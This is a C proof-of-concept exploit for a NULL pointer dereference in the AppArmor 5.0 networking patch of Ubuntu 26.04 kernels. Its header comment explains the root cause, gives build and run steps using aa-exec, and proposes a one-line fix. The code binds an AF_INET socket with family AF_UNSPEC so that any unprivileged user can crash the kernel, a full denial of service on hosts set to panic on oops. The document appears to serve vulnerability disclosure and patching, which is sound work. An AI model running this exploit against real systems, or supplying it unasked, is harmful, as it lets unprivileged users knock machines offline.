/*
 * PoC — bind_map_addr NULL pointer dereference in Ubuntu Resolute's
 * AppArmor 5.0 SAUCE (security/apparmor/af_inet.c).
 *
 * Affected: Ubuntu Resolute (26.04 LTS) kernels carrying the
 *           "SAUCE: apparmor5.0.0 ... apparmor: net: add fine grained
 *           ipv4/ipv6" patchset. Confirmed on 7.0.0-14-generic.
 * Trigger:  any UNPRIVILEGED user can crash the kernel by binding an
 *           AF_INET socket with sa_family=AF_UNSPEC (and any non-zero
 *           sin_addr), under any AppArmor profile that mediates
 *           AA_CLASS_NET (e.g. the stock 'unprivileged_userns' profile
 *           reachable via aa-exec(8)).
 * Impact:   Kernel oops, calling task killed (panic_on_oops=0). On
 *           hardened deployments with panic_on_oops=1: full DoS.
 *           Repeatable. No special caps, no userns, no kernel modules.
 *
 * Build & run:
 *   gcc -O2 -o poc poc.c
 *   aa-exec -p unprivileged_userns -- ./poc
 *   dmesg | grep -A20 'aa_inet_bind_perm'
 *
 * Root cause — security/apparmor/af_inet.c:175 — bind_map_addr():
 *
 *   static int bind_map_addr(const struct sock *sk, struct sockaddr *addr,
 *                            int addrlen, struct match_addr *maddr,
 *                            struct apparmor_audit_data *ad)
 *   {
 *           struct sockaddr_in  *addr4 = NULL;        // initialised NULL
 *           struct sockaddr_in6 *addr6 = NULL;
 *           u16 family;
 *           ...
 *           switch (addr->sa_family) {
 *           case AF_UNSPEC:
 *                   if (sk->sk_family == PF_INET6) {
 *                           if (addrlen < SIN6_LEN_RFC2133)
 *                                   return -EINVAL;
 *                           return -EAFNOSUPPORT;
 *                   }
 *                   if (addr4->sin_addr.s_addr != htonl(INADDR_ANY))  // NULL DEREF
 *                           return -EAFNOSUPPORT;
 *                   family = AF_INET;
 *                   fallthrough;
 *           case AF_INET:
 *                   addr4 = (struct sockaddr_in *)addr;     // assigned only here
 *                   ...
 *
 *   The author intended to validate that the user-supplied bind address is
 *   INADDR_ANY (matching the upstream __inet_bind() AF_UNSPEC handling),
 *   but performed the cast in the AF_INET arm only. Reaching the
 *   AF_UNSPEC arm with sk_family != PF_INET6 dereferences addr4 while it
 *   is still the NULL initialiser, faulting on virtual address 0x4
 *   (offsetof(struct sockaddr_in, sin_addr.s_addr)).
 *
 *   The fix is one line — assign before the check:
 *
 *           if (((struct sockaddr_in *)addr)->sin_addr.s_addr
 *                   != htonl(INADDR_ANY))
 *                   return -EAFNOSUPPORT;
 *
 *   This SAUCE function is Ubuntu-specific (AppArmor 5.0 fine-grained
 *   IPv4/IPv6 mediation). It is not present upstream.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(int argc, char **argv)
{
	int s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket(AF_INET, SOCK_DGRAM, 0)");
		return 1;
	}

	struct sockaddr_in sa = {
		.sin_family = AF_UNSPEC,         /* triggers the AF_UNSPEC case */
		.sin_port   = 0,
		.sin_addr.s_addr = htonl(0xdeadbeef),  /* anything != INADDR_ANY */
	};

	int r = bind(s, (struct sockaddr *)&sa, sizeof(sa));
	/* Unreachable on a vulnerable kernel under a confined profile —
	 * the kernel oopses inside aa_inet_bind_perm and the task is
	 * killed by the page-fault handler. */
	printf("bind() returned %d (errno=%d %s) — kernel did not crash.\n"
	       "       Either you are not running under an AA_CLASS_NET-mediating\n"
	       "       AppArmor profile (try: `aa-exec -p unprivileged_userns -- %s`)\n"
	       "       or the bug is patched.\n",
	       r, errno, strerror(errno), argv[0]);
	close(s);
	return 0;
}
